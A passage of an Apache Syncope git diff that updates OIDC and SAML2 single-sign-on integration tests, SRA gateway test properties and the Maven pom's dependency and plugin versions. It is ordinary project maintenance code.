props.getProperty("sra.oidc.client-secret"); assertNotNull(CLIENT_SECRET); TOKEN_URI = WA_ADDRESS + "/oidc/accessToken"; - oidcClientAppSetup(OIDCSRAITCase.class.getName(), "OIDC", 1L, CLIENT_ID, CLIENT_SECRET); + oidcClientAppSetup( + OIDCSRAITCase.class.getName(), SRA_REGISTRATION_ID, CLIENT_APP_ID, CLIENT_ID, CLIENT_SECRET); } @Test @@ -217,11 +258,15 @@ public void web() throws IOException { checkLogout(response); } - protected void checkIdToken(final JsonNode json) throws ParseException { - SignedJWT idToken = SignedJWT.parse(json.get("id_token").asText()); - assertNotNull(idToken); - JWTClaimsSet idTokenClaimsSet = idToken.getJWTClaimsSet(); - assertEquals("verdi", idTokenClaimsSet.getStringClaim("preferred_username")); + private void checkJWT(final String token, final boolean idToken) throws ParseException { + assertNotNull(token); + SignedJWT jwt = SignedJWT.parse(token); + assertNotNull(jwt); + JWTClaimsSet idTokenClaimsSet = jwt.getJWTClaimsSet(); + assertEquals("verdi", idTokenClaimsSet.getSubject()); + if (idToken) { + assertEquals("verdi", idTokenClaimsSet.getStringClaim("preferred_username")); + } assertEquals("verdi@syncope.org", idTokenClaimsSet.getStringClaim("email")); assertEquals("Verdi", idTokenClaimsSet.getStringClaim("family_name")); assertEquals("Giuseppe", idTokenClaimsSet.getStringClaim("given_name")); @@ -229,6 +274,10 @@ protected void checkIdToken(final JsonNode json) throws ParseException { assertEquals(Set.of("root", "child", "citizen"), Set.of(idTokenClaimsSet.getStringArrayClaim("groups"))); } + protected boolean checkIdToken() { + return true; + } + @Test public void rest() throws IOException, ParseException { // 0. access public route @@ -244,19 +293,23 @@ public void rest() throws IOException, ParseException { param("client_secret", CLIENT_SECRET). param("username", "verdi"). param("password", "password"). - param("scope", "openid profile email address phone offline_access syncope"); + param("scope", "openid profile email syncope"); response = WebClient.create(TOKEN_URI).post(form); assertEquals(HttpStatus.SC_OK, response.getStatus()); assertTrue(response.getHeaderString(HttpHeaders.CONTENT_TYPE).startsWith(MediaType.APPLICATION_JSON)); JsonNode json = MAPPER.readTree(response.readEntity(String.class)); - // 1a. verify id_token - checkIdToken(json); + if (checkIdToken()) { + // 1a. take and verify id_token + String idToken = json.get("id_token").asText(); + assertNotNull(idToken); + checkJWT(idToken, true); + } - // 1b. take access_token + // 1b. take and verify access_token String accessToken = json.get("access_token").asText(); - assertNotNull(accessToken); + checkJWT(accessToken, false); // 2. access protected route client = WebClient.create(SRA_ADDRESS + "/protected/post"). @@ -271,8 +324,10 @@ public void rest() throws IOException, ParseException { ObjectNode headers = (ObjectNode) json.get("headers"); assertEquals(MediaType.APPLICATION_JSON, headers.get(HttpHeaders.ACCEPT).asText()); assertEquals(MediaType.APPLICATION_JSON, headers.get(HttpHeaders.CONTENT_TYPE).asText()); - assertEquals("localhost:" + PORT, headers.get("X-Forwarded-Host").asText()); + assertThat(headers.get("X-Forwarded-Host").asText(), is(oneOf("localhost:8080", "127.0.0.1:8080"))); - assertEquals(client.getBaseURI().toASCIIString().replace("/protected", ""), json.get("url").asText()); + String withHost = client.getBaseURI().toASCIIString().replace("/protected", ""); + String withIP = withHost.replace("localhost", "127.0.0.1"); + assertThat(json.get("url").asText(), is(oneOf(withHost, withIP))); } } diff --git a/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/SAML2SRAITCase.java b/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/SAML2SRAITCase.java index aa772a5a7ab..63243f58907 100644 --- a/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/SAML2SRAITCase.java +++ b/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/SAML2SRAITCase.java @@ -46,10 +46,12 @@ import org.apache.http.impl.client.HttpClients; import org.apache.http.message.BasicNameValuePair; import org.apache.http.util.EntityUtils; +import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.to.SAML2SPClientAppTO; import org.apache.syncope.common.lib.types.ClientAppType; import org.apache.syncope.common.lib.types.SAML2SPNameId; import org.apache.syncope.common.rest.api.RESTHeaders; +import org.apache.syncope.common.rest.api.service.wa.WAConfigService; import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; @@ -72,6 +74,7 @@ public static void clientAppSetup() { orElseGet(() -> { SAML2SPClientAppTO app = new SAML2SPClientAppTO(); app.setName(appName); + app.setRealm(SyncopeConstants.ROOT_REALM); app.setClientAppId(3L); app.setEntityId(SRA_ADDRESS); app.setMetadataLocation(SRA_ADDRESS + "/saml2/metadata"); @@ -91,7 +94,7 @@ public static void clientAppSetup() { clientApp.setAuthPolicy(getAuthPolicy().getKey()); CLIENT_APP_SERVICE.update(ClientAppType.SAML2SP, clientApp); - CLIENT_APP_SERVICE.pushToWA(); + WA_CONFIG_SERVICE.pushToWA(WAConfigService.PushSubject.clientApps, List.of()); } @Test @@ -180,8 +183,7 @@ public void web() throws IOException { post.setEntity(new UrlEncodedFormEntity(form, Consts.UTF_8)); try (CloseableHttpResponse response = httpclient.execute(post, context)) { assertEquals(HttpStatus.SC_MOVED_TEMPORARILY, response.getStatusLine().getStatusCode()); - location = response.getFirstHeader(HttpHeaders.LOCATION).getValue(). - replace("http://", "https://").replace(":8080", ":9443"); + location = response.getFirstHeader(HttpHeaders.LOCATION).getValue(); } } diff --git a/fit/wa-reference/src/test/java/org/apache/syncope/fit/ui/AbstractUIITCase.java b/fit/wa-reference/src/test/java/org/apache/syncope/fit/ui/AbstractUIITCase.java index 4d1db40deaa..a30dfd45511 100644 --- a/fit/wa-reference/src/test/java/org/apache/syncope/fit/ui/AbstractUIITCase.java +++ b/fit/wa-reference/src/test/java/org/apache/syncope/fit/ui/AbstractUIITCase.java @@ -83,6 +83,11 @@ protected static AttrReleasePolicyTO getAttrReleasePolicy() { orElseGet(() -> { DefaultAttrReleasePolicyConf policyConf = new DefaultAttrReleasePolicyConf(); policyConf.getPrincipalAttrRepoConf().getAttrRepos().add(stubAttrRepo); + policyConf.getReleaseAttrs().put("attr1", "identifier"); + policyConf.getReleaseAttrs().put("firstname", "given_name"); + policyConf.getReleaseAttrs().put("surname", "family_name"); + policyConf.getReleaseAttrs().put("fullname", "name"); + policyConf.getReleaseAttrs().put("email", "email"); AttrReleasePolicyTO policy = new AttrReleasePolicyTO(); policy.setName(description); diff --git a/fit/wa-reference/src/test/java/org/apache/syncope/fit/ui/OIDC4UIITCase.java b/fit/wa-reference/src/test/java/org/apache/syncope/fit/ui/OIDCC4UIITCase.java similarity index 86% rename from fit/wa-reference/src/test/java/org/apache/syncope/fit/ui/OIDC4UIITCase.java rename to fit/wa-reference/src/test/java/org/apache/syncope/fit/ui/OIDCC4UIITCase.java index b797b39d74e..52171903fc4 100644 --- a/fit/wa-reference/src/test/java/org/apache/syncope/fit/ui/OIDC4UIITCase.java +++ b/fit/wa-reference/src/test/java/org/apache/syncope/fit/ui/OIDCC4UIITCase.java @@ -27,6 +27,7 @@ import java.util.ArrayList; import java.util.List; import java.util.Optional; +import java.util.Set; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; import org.apache.http.Consts; @@ -44,16 +45,21 @@ import org.apache.http.message.BasicNameValuePair; import org.apache.http.util.EntityUtils; import org.apache.syncope.client.ui.commons.panels.OIDCC4UIConstants; +import org.apache.syncope.common.lib.OIDCScopeConstants; +import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.to.Item; import org.apache.syncope.common.lib.to.OIDCC4UIProviderTO; import org.apache.syncope.common.lib.to.OIDCRPClientAppTO; import org.apache.syncope.common.lib.types.ClientAppType; +import org.apache.syncope.common.lib.types.LogoutType; +import org.apache.syncope.common.lib.types.OIDCResponseType; import org.apache.syncope.common.lib.types.OIDCSubjectType; import org.apache.syncope.common.rest.api.RESTHeaders; +import org.apache.syncope.common.rest.api.service.wa.WAConfigService; import org.jsoup.Jsoup; import org.junit.jupiter.api.BeforeAll; -public class OIDC4UIITCase extends AbstractUIITCase { +public class OIDCC4UIITCase extends AbstractUIITCase { private static void clientAppSetup(final String appName, final String baseAddress, final long appId) { OIDCRPClientAppTO clientApp = CLIENT_APP_SERVICE.list(ClientAppType.OIDCRP).stream(). @@ -63,6 +69,7 @@ private static void clientAppSetup(final String appName, final String baseAddres orElseGet(() -> { OIDCRPClientAppTO app = new OIDCRPClientAppTO(); app.setName(appName); + app.setRealm(SyncopeConstants.ROOT_REALM); app.setClientAppId(appId); app.setClientId(appName); app.setClientSecret(appName); @@ -84,18 +91,24 @@ private static void clientAppSetup(final String appName, final String baseAddres clientApp.getRedirectUris().add(baseAddress + OIDCC4UIConstants.URL_CONTEXT + "/code-consumer"); clientApp.setSignIdToken(true); clientApp.setJwtAccessToken(true); + clientApp.setLogoutType(LogoutType.BACK_CHANNEL); clientApp.setLogoutUri(baseAddress + OIDCC4UIConstants.URL_CONTEXT + "/logout"); + clientApp.getSupportedResponseTypes().addAll( + Set.of(OIDCResponseType.CODE, OIDCResponseType.ID_TOKEN_TOKEN, OIDCResponseType.TOKEN)); clientApp.setAuthPolicy(getAuthPolicy().getKey()); clientApp.setAttrReleasePolicy(getAttrReleasePolicy().getKey()); + clientApp.getScopes().add(OIDCScopeConstants.OPEN_ID); + clientApp.getScopes().add(OIDCScopeConstants.PROFILE); + clientApp.getScopes().add(OIDCScopeConstants.EMAIL); CLIENT_APP_SERVICE.update(ClientAppType.OIDCRP, clientApp); - CLIENT_APP_SERVICE.pushToWA(); + WA_CONFIG_SERVICE.pushToWA(WAConfigService.PushSubject.clientApps, List.of()); } private static String getAppName(final String address) { return CONSOLE_ADDRESS.equals(address) - ? OIDC4UIITCase.class.getName() + "_Console" - : OIDC4UIITCase.class.getName() + "_Enduser"; + ? OIDCC4UIITCase.class.getName() + "_Console" + : OIDCC4UIITCase.class.getName() + "_Enduser"; } @BeforeAll @@ -123,11 +136,10 @@ private static void oidcSetup( cas.setClientSecret(appName); cas.setIssuer(WA_ADDRESS + "/oidc"); - cas.setAuthorizationEndpoint(cas.getIssuer() + "/authorize"); - cas.setTokenEndpoint(cas.getIssuer() + "/accessToken"); - cas.setJwksUri(cas.getIssuer() + "/jwks"); - cas.setUserinfoEndpoint(cas.getIssuer() + "/profile"); - cas.setEndSessionEndpoint(cas.getIssuer() + "/logout"); + cas.setHasDiscovery(true); + + cas.getScopes().addAll(OIDCScopeConstants.ALL_STANDARD_SCOPES); + cas.getScopes().add("syncope"); cas.setCreateUnmatching(createUnmatching); cas.setSelfRegUnmatching(selfRegUnmatching); @@ -140,30 +152,30 @@ private static void oidcSetup( item = new Item(); item.setIntAttrName("email"); - item.setExtAttrName("mail"); + item.setExtAttrName("email"); cas.add(item); item = new Item(); item.setIntAttrName("userId"); - item.setExtAttrName("mail"); + item.setExtAttrName("email"); cas.add(item); item = new Item(); item.setIntAttrName("firstname"); - item.setExtAttrName("givenName"); + item.setExtAttrName("given_name"); cas.add(item); item = new Item(); item.setIntAttrName("surname"); - item.setExtAttrName("sn"); + item.setExtAttrName("family_name"); cas.add(item); item = new Item(); item.setIntAttrName("fullname"); - item.setExtAttrName("cn"); + item.setExtAttrName("name"); cas.add(item); - OIDCC4UI_PROVIDER_SERVICE.create(cas); + OIDCC4UI_PROVIDER_SERVICE.createFromDiscovery(cas); } } diff --git a/fit/wa-reference/src/test/java/org/apache/syncope/fit/ui/SAML2SP4UIITCase.java b/fit/wa-reference/src/test/java/org/apache/syncope/fit/ui/SAML2SP4UIITCase.java index a755e2d056a..caf1aae069e 100644 --- a/fit/wa-reference/src/test/java/org/apache/syncope/fit/ui/SAML2SP4UIITCase.java +++ b/fit/wa-reference/src/test/java/org/apache/syncope/fit/ui/SAML2SP4UIITCase.java @@ -48,12 +48,14 @@ import org.apache.http.util.EntityUtils; import org.apache.syncope.client.ui.commons.SAML2SP4UIConstants; import org.apache.syncope.common.lib.SyncopeClientException; +import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.to.Item; import org.apache.syncope.common.lib.to.SAML2SP4UIIdPTO; import org.apache.syncope.common.lib.to.SAML2SPClientAppTO; import org.apache.syncope.common.lib.types.ClientAppType; import org.apache.syncope.common.lib.types.SAML2SPNameId; import org.apache.syncope.common.rest.api.RESTHeaders; +import org.apache.syncope.common.rest.api.service.wa.WAConfigService; import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; @@ -67,6 +69,7 @@ private static void clientAppSetup(final String appName, final String entityId, orElseGet(() -> { SAML2SPClientAppTO app = new SAML2SPClientAppTO(); app.setName(appName); + app.setRealm(SyncopeConstants.ROOT_REALM); app.setClientAppId(appId); app.setEntityId(entityId); app.setMetadataLocation(entityId + SAML2SP4UIConstants.URL_CONTEXT + "/metadata"); @@ -87,7 +90,7 @@ private static void clientAppSetup(final String appName, final String entityId, clientApp.setAttrReleasePolicy(getAttrReleasePolicy().getKey()); CLIENT_APP_SERVICE.update(ClientAppType.SAML2SP, clientApp); - CLIENT_APP_SERVICE.pushToWA(); + WA_CONFIG_SERVICE.pushToWA(WAConfigService.PushSubject.clientApps, List.of()); } @BeforeAll @@ -124,6 +127,7 @@ public static void idpSetup() { cas.setName("CAS"); cas.setCreateUnmatching(true); cas.setSelfRegUnmatching(false); + cas.getItems().clear(); Item item = new Item(); @@ -134,27 +138,27 @@ public static void idpSetup() { item = new Item(); item.setIntAttrName("email"); - item.setExtAttrName("mail"); + item.setExtAttrName("email"); cas.add(item); item = new Item(); item.setIntAttrName("userId"); - item.setExtAttrName("mail"); + item.setExtAttrName("email"); cas.add(item); item = new Item(); item.setIntAttrName("firstname"); - item.setExtAttrName("givenName"); + item.setExtAttrName("given_name"); cas.add(item); item = new Item(); item.setIntAttrName("surname"); - item.setExtAttrName("sn"); + item.setExtAttrName("family_name"); cas.add(item); item = new Item(); item.setIntAttrName("fullname"); - item.setExtAttrName("cn"); + item.setExtAttrName("name"); cas.add(item); SAML2SP4UI_IDP_SERVICE.update(cas); @@ -257,11 +261,14 @@ protected void sso(final String baseURL, final String username, final String pas post.setEntity(new UrlEncodedFormEntity(form, Consts.UTF_8)); try (CloseableHttpResponse response = httpclient.execute(post, context)) { assertEquals(HttpStatus.SC_MOVED_TEMPORARILY, response.getStatusLine().getStatusCode()); - location = response.getFirstHeader(HttpHeaders.LOCATION).getValue(). - replace("http://", "https://").replace(":8080", ":9443"); + location = response.getFirstHeader(HttpHeaders.LOCATION).getValue(); } } + if (location.startsWith("http://localhost:8080/syncope-wa")) { + location = WA_ADDRESS + StringUtils.substringAfter(location, "http://localhost:8080/syncope-wa"); + } + get = new HttpGet(location); get.addHeader(HttpHeaders.ACCEPT, MediaType.TEXT_HTML); get.addHeader(HttpHeaders.ACCEPT_LANGUAGE, EN_LANGUAGE); diff --git a/fit/wa-reference/src/test/resources/log4j2.xml b/fit/wa-reference/src/test/resources/log4j2.xml index d27ffdfc4a9..b204e6f848e 100644 --- a/fit/wa-reference/src/test/resources/log4j2.xml +++ b/fit/wa-reference/src/test/resources/log4j2.xml @@ -19,8 +19,8 @@ under the License. --> - %d{HH:mm:ss.SSS} %-5level %logger - %msg%n diff --git a/fit/wa-reference/src/test/resources/sra-cas.properties b/fit/wa-reference/src/test/resources/sra-cas.properties index d70c50cb96a..34b0b897e3f 100644 --- a/fit/wa-reference/src/test/resources/sra-cas.properties +++ b/fit/wa-reference/src/test/resources/sra-cas.properties @@ -14,6 +14,10 @@ # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. +spring.cloud.gateway.forwarded.enabled=true +spring.cloud.gateway.x-forwarded.enabled=true +spring.cloud.gateway.trusted-proxies=.* + keymaster.address=https://localhost:9443/syncope/rest/keymaster keymaster.username=${anonymousUser} keymaster.password=${anonymousKey} diff --git a/fit/wa-reference/src/test/resources/sra-oauth2.properties b/fit/wa-reference/src/test/resources/sra-oauth2.properties index 4f990029d48..bc527e22106 100644 --- a/fit/wa-reference/src/test/resources/sra-oauth2.properties +++ b/fit/wa-reference/src/test/resources/sra-oauth2.properties @@ -14,6 +14,10 @@ # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. +spring.cloud.gateway.forwarded.enabled=true +spring.cloud.gateway.x-forwarded.enabled=true +spring.cloud.gateway.trusted-proxies=.* + keymaster.address=https://localhost:9443/syncope/rest/keymaster keymaster.username=${anonymousUser} keymaster.password=${anonymousKey} diff --git a/fit/wa-reference/src/test/resources/sra-oidc.properties b/fit/wa-reference/src/test/resources/sra-oidc.properties index 9f7b8f3ea35..df2d727bb9b 100644 --- a/fit/wa-reference/src/test/resources/sra-oidc.properties +++ b/fit/wa-reference/src/test/resources/sra-oidc.properties @@ -14,6 +14,10 @@ # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. +spring.cloud.gateway.forwarded.enabled=true +spring.cloud.gateway.x-forwarded.enabled=true +spring.cloud.gateway.trusted-proxies=.* + keymaster.address=https://localhost:9443/syncope/rest/keymaster keymaster.username=${anonymousUser} keymaster.password=${anonymousKey} @@ -22,5 +26,6 @@ sra.am-type=OIDC sra.oidc.configuration=https://localhost:9443/syncope-wa/oidc sra.oidc.client-id=oidcTestClientId sra.oidc.client-secret=oidcTestClientSecret +sra.oidc.scopes=openid,profile,email sra.global.postLogout=http://localhost:8080/logout diff --git a/fit/wa-reference/src/test/resources/sra-saml2.properties b/fit/wa-reference/src/test/resources/sra-saml2.properties index eb680494075..33cd5faa295 100644 --- a/fit/wa-reference/src/test/resources/sra-saml2.properties +++ b/fit/wa-reference/src/test/resources/sra-saml2.properties @@ -14,6 +14,10 @@ # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. +spring.cloud.gateway.forwarded.enabled=true +spring.cloud.gateway.x-forwarded.enabled=true +spring.cloud.gateway.trusted-proxies=.* + keymaster.address=https://localhost:9443/syncope/rest/keymaster keymaster.username=${anonymousUser} keymaster.password=${anonymousKey} @@ -22,8 +26,9 @@ sra.am-type=SAML2 sra.saml2.authn-request-binding=POST sra.saml2.logout-request-binding=POST sra.saml2.logout-response-binding=REDIRECT -sra.saml2.entityId=http://localhost:8080 -sra.saml2.skew=300 +sra.saml2.entityId=http://127.0.0.1:8080 +sra.saml2.maximum-authentication-lifetime=3600 +sra.saml2.accepted-skew=300 sra.saml2.sp-metadata-file-path=/tmp/saml2-sp-metadata.xml sra.saml2.idp-metadata=https://localhost:9443/syncope-wa/idp/metadata sra.saml2.keystore=classpath:/saml.keystore.jks diff --git a/pom.xml b/pom.xml index d96ea58159a..1ece2eb11f2 100644 --- a/pom.xml +++ b/pom.xml @@ -26,13 +26,13 @@ under the License. org.apache.syncope syncope - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT pom org.apache apache - 28 + 37 @@ -42,7 +42,7 @@ under the License. - Apache License, Version 2.0 + Apache-2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo @@ -301,8 +301,6 @@ under the License. skylark17 Matteo Alessandroni - Tirasa - https://www.tirasa.net/ PMC member @@ -315,7 +313,7 @@ under the License. Tirasa https://www.tirasa.net/ - committer + PMC member http://people.apache.org/~loredicola/ loredicola@apache.org @@ -344,7 +342,7 @@ under the License. Tirasa https://www.tirasa.net/ - committer + PMC member sgarofalo@apache.org @@ -394,31 +392,31 @@ under the License. - 2022-11-11T08:32:43Z + 2026-01-30T09:49:50Z ${project.version} - 1.5.1.0 + 1.5.3.0 1.4.5 - 1.0.7 - 2.2.9 + 1.0.9 + 2.3.1 0.8.9 - 1.5.7 - 1.3.8 - 1.4.3 - 2.0.0 - 1.0.2 - 1.0.1 - 2.1.2 + 1.5.10 + 1.4.0 + 1.4.5 + 3.0.0 + 1.0.5 + 1.0.3 + 3.0.8 0.5 - 3.5.5 + 3.6.10 1.70 - 9.25.6 - - 2.14.1 + 9.48 - 2.7.7 - 3.1.4 + 5.3.39 + 5.8.16 + 2.7.18 + 3.1.10 3.2.2 5.0.1 @@ -426,34 +424,33 @@ under the License. 1.9.3 - 4.0.6 + 4.0.30 - 6.8.0 + 6.8.1 1.7.36 - 8.5.3 + 8.17.10 + 2.19.4 + 2.26.0 - 2.19.0 + 2.22.0 3.4.4 - - 3.2.1 - 3.12.0 - 1.10.0 - 1.15 - 1.1.3 - 2.5.0 + 3.17.0 + 3.6.0 + 1.15.0 5.5.0 - 6.6.3 + 6.6.15.2 3.6.4 + 3.1.0 - 2.1.214 + 2.3.232 - 2.2.7 - 4.15.5 + 2.2.42 + 5.31.0 1.3.8 1.4.1-1 @@ -464,18 +461,18 @@ under the License. 5.62.2 895a9512bb 2.0.7 - 1.0.2 + 4.4.3 - 9.12.0 - 9.12.0 - 9.11.0 + 9.22.0 + 9.22.0 + 9.12.0 5.0.6 3.1.7 - 4.11.1 + 4.13.2 - 5.4.0 - 3.8.0 + 5.9.0 + 3.9.3 o=isp uid=admin,ou=system @@ -500,28 +497,23 @@ under the License. 9889 9805 60000 - ${log.directory}/cargo.log - ${log.directory}/cargo-output.log - 9.0.70 - 26.1.2.Final - 5.2022.3 + 9.0.115 + 26.1.3.Final + 5.2022.5 2.3.14 - 15 + 16 8.0 - 10 + 11 - 42.5.1 - 8.0.31 - 3.0.8 - 11.2.1.jre - 21.7.0.0 + 42.7.9 + 9.6.0 + 3.5.7 + 12.6.1.jre11 + 23.9.0.25.07 - ${project.build.directory}/test-classes ${project.build.directory}/bundles - file:${bundles.directory}/ - ${project.build.directory}/log admin anonymous @@ -549,6 +541,7 @@ under the License. 11 ${basedir} + ${rootpom.basedir} UTF-8 @@ -639,15 +632,32 @@ under the License. + + org.elasticsearch.client + elasticsearch-rest-client + ${elasticsearch.version} + co.elastic.clients elasticsearch-java ${elasticsearch.version} + + + org.opensearch.client + opensearch-rest-client + ${opensearch.version} + + + org.opensearch.client + opensearch-java + ${opensearch-java.version} + + jakarta.json jakarta.json-api - 2.0.1 + 2.1.2 @@ -675,7 +685,7 @@ under the License. com.fasterxml.uuid java-uuid-generator - 4.0.1 + 5.2.0 @@ -691,112 +701,25 @@ under the License. - com.fasterxml.jackson.core - jackson-core - ${jackson.version} - - - com.fasterxml.jackson.core - jackson-databind - ${jackson.version} - - - com.fasterxml.jackson.core - jackson-annotations - ${jackson.version} - - - com.fasterxml.jackson.jaxrs - jackson-jaxrs-base - ${jackson.version} - - - com.fasterxml.jackson.module - jackson-module-jaxb-annotations - ${jackson.version} - - - com.fasterxml.jackson.jaxrs - jackson-jaxrs-json-provider - ${jackson.version} - - - com.fasterxml.jackson.jaxrs - jackson-jaxrs-xml-provider - ${jackson.version} - - - com.fasterxml.jackson.jaxrs - jackson-jaxrs-yaml-provider - ${jackson.version} - - - com.fasterxml.jackson.module - jackson-module-afterburner - ${jackson.version} - - - com.fasterxml.jackson.dataformat - jackson-dataformat-smile - ${jackson.version} - - - com.fasterxml.jackson.dataformat - jackson-dataformat-cbor - ${jackson.version} - - - com.fasterxml.jackson.dataformat - jackson-dataformat-yaml - ${jackson.version} - - - com.fasterxml.jackson.dataformat - jackson-dataformat-xml - ${jackson.version} - - - org.codehaus.woodstox - stax2-api - - - com.fasterxml.woodstox - woodstox-core - - - - - com.fasterxml.jackson.dataformat - jackson-dataformat-csv - ${jackson.version} - - - com.fasterxml.jackson.dataformat - jackson-dataformat-properties - ${jackson.version} - - - com.fasterxml.jackson.datatype - jackson-datatype-jsr310 - ${jackson.version} - - - com.fasterxml.jackson.datatype - jackson-datatype-jdk8 - ${jackson.version} + com.fasterxml.woodstox + woodstox-core + 7.1.1 + - com.fasterxml.jackson.datatype - jackson-datatype-guava - ${jackson.version} + org.springframework + spring-framework-bom + ${spring-framework.version} + pom + import - - com.fasterxml.woodstox - woodstox-core - 6.4.0 + org.springframework.security + spring-security-bom + ${spring-security.version} + pom + import - org.springframework.boot spring-boot-dependencies @@ -889,6 +812,11 @@ under the License. + + org.quartz-scheduler + quartz + 2.5.0 + org.springframework.boot @@ -969,6 +897,17 @@ under the License. ${spring-boot.version} + + org.apache.tomcat.embed + tomcat-embed-core + ${tomcat.version} + + + org.apache.tomcat.embed + tomcat-embed-el + ${tomcat.version} + + org.apache.cxf cxf-spring-boot-starter-jaxrs @@ -1020,54 +959,31 @@ under the License. - org.aspectj - aspectjweaver - 1.9.19 - - - - com.github.ben-manes.caffeine - caffeine - 3.1.2 + org.apache.commons + commons-lang3 + ${commons-lang3.version} - org.apache.commons commons-jexl3 ${commons-jexl.version} - - - org.apache.commons - commons-lang3 - ${commons-lang.version} + + + commons-logging + commons-logging + + org.apache.commons commons-text ${commons-text.version} - - commons-codec - commons-codec - ${commons-codec.version} - - - - com.squareup.okio - okio - 2.9.0 - - - - org.gaul - modernizer-maven-annotations - ${modernizer-maven.version} - org.apache.tika tika-core - 2.6.0 + 2.9.4 @@ -1095,12 +1011,6 @@ under the License. org.apache.groovy groovy-templates ${groovy.version} - - - org.apache.groovy - groovy-xml - - org.apache.groovy @@ -1139,15 +1049,15 @@ under the License. - com.h2database - h2 - ${h2.version} + net.tirasa + groovy-security-sandbox + 1.0.0 com.icegreen greenmail - 1.6.12 + 1.6.15 junit @@ -1162,22 +1072,6 @@ under the License. ${jasypt.version} - - org.apache.xmlgraphics - fop - 2.7 - - - xalan - xalan - - - jakarta.servlet - servlet-api - - - - org.flowable @@ -1196,6 +1090,10 @@ under the License. org.springframework spring-beans + + commons-logging + commons-logging + @@ -1389,12 +1287,6 @@ under the License. disruptor ${disruptor.version} - - commons-logging - commons-logging - ${commons-logging.version} - provided - org.slf4j jcl-over-slf4j @@ -1406,10 +1298,22 @@ under the License. ${slf4j.version} + + org.bitbucket.b_c + jose4j + 0.9.6 + + org.apache.pdfbox pdfbox - 3.0.0-alpha3 + 3.0.6 + + + commons-logging + commons-logging + + @@ -1453,8 +1357,8 @@ under the License. ${jsplumb.version} - org.webjars.bower - chart.js + org.webjars + chartjs ${chartjs.version} @@ -1469,6 +1373,11 @@ under the License. curator-framework ${curator.version} + + org.apache.curator + curator-client + ${curator.version} + org.apache.curator curator-x-discovery @@ -1518,13 +1427,13 @@ under the License. org.passay passay - 1.6.2 + 1.6.6 org.jsoup jsoup - 1.15.3 + 1.21.2 @@ -1559,8 +1468,8 @@ under the License. - sonatype - https://oss.sonatype.org/content/repositories/snapshots + central-portal-snapshots + https://central.sonatype.com/repository/maven-snapshots/ false @@ -1569,58 +1478,68 @@ under the License. - shibboleth + shib-release https://build.shibboleth.net/maven/releases true + + false + + - spring - https://repo.spring.io/milestone + sonatype-snapshot + https://oss.sonatype.org/content/repositories/snapshots - true + false + + false + - - - - - sonatype - https://oss.sonatype.org/content/repositories/releases + + s01 + https://s01.oss.sonatype.org/content/repositories/snapshots - true + false false - - - apache.snapshots - https://repository.apache.org/snapshots + + + spring-milestone + https://repo.spring.io/milestone/c false - true + false - - - sonatype.snapshots - https://oss.sonatype.org/content/repositories/snapshots + + + couchbase + https://files.couchbase.com/maven2/ false - true + false - + + + + - spring - https://repo.spring.io/milestone + central-portal-snapshots + https://central.sonatype.com/repository/maven-snapshots/ - true + false + + true + @@ -1632,7 +1551,7 @@ under the License. org.apache.maven.plugins maven-compiler-plugin - 3.10.1 + 3.14.1 ${targetJdk} false @@ -1648,7 +1567,7 @@ under the License. org.apache.maven.plugins maven-resources-plugin - 3.3.0 + 3.4.0 ${project.build.sourceEncoding} false @@ -1661,13 +1580,13 @@ under the License. org.codehaus.mojo build-helper-maven-plugin - 3.3.0 + 3.6.1 io.github.git-commit-id git-commit-id-maven-plugin - 5.0.0 + 9.0.2 @@ -1678,17 +1597,30 @@ under the License. true yyyy-MM-dd'T'HH:mm:ssZ + Zulu true ${project.build.outputDirectory}/git.properties + + git.build.time + git.build.user.* + git.build.host + git.commit.user.* + git.tags + git.total.commit.count + org.apache.maven.plugins maven-javadoc-plugin - 3.4.1 + 3.12.0 - ${targetJdk} + ${targetJdk} + + --legal-notices + none + @@ -1701,7 +1633,7 @@ under the License. org.apache.maven.plugins maven-dependency-plugin - 3.3.0 + 3.9.0 ${bundles.directory} @@ -1725,14 +1657,8 @@ under the License. net.tirasa.connid.bundles.db - net.tirasa.connid.bundles.db.table - ${connid.database.version} - bundle - - - net.tirasa.connid.bundles.db - net.tirasa.connid.bundles.db.scriptedsql - ${connid.database.version} + net.tirasa.connid.bundles.db + ${connid.db.version} bundle @@ -1761,8 +1687,8 @@ under the License. net.tirasa.connid.bundles - net.tirasa.connid.bundles.scimv11 - ${connid.scimv11.version} + net.tirasa.connid.bundles.scim + ${connid.scim.version} bundle @@ -1790,13 +1716,13 @@ under the License. org.apache.maven.plugins maven-jar-plugin - 3.3.0 + 3.5.0 org.apache.maven.plugins maven-war-plugin - 3.3.2 + 3.5.1 @@ -1814,20 +1740,7 @@ under the License. org.apache.maven.plugins maven-antrun-plugin - 3.1.0 - - - - org.codehaus.mojo - xml-maven-plugin - 1.0.2 - - - xalan - xalan - 2.7.2 - - + 3.2.0 @@ -1839,8 +1752,17 @@ under the License. org.codehaus.cargo cargo-maven3-plugin - 1.10.3 + 1.10.26 + + ${project.build.directory}/log/cargo.log + ${project.build.directory}/log/cargo-output.log + + ${project.build.directory}/test-classes + file:${bundles.directory}/ + ${project.build.directory}/log + + standalone @@ -1857,7 +1779,7 @@ under the License. org.apache.maven.plugins maven-surefire-plugin - 2.22.2 + 3.5.4 true utf-8 @@ -1867,10 +1789,9 @@ under the License. org.apache.maven.plugins maven-failsafe-plugin - 2.22.2 + 3.5.4 true - utf-8 alphabetical @@ -1886,17 +1807,9 @@ under the License. org.apache.maven.plugins maven-checkstyle-plugin - 3.2.0 - - - com.puppycrawl.tools - checkstyle - 10.5.0 - - + 3.6.0 ${rootpom.basedir}/src/main/resources/org/apache/syncope/checkstyle.xml - ${targetJdk} true @@ -1904,19 +1817,19 @@ under the License. io.fabric8 docker-maven-plugin - 0.40.3 + 0.48.0 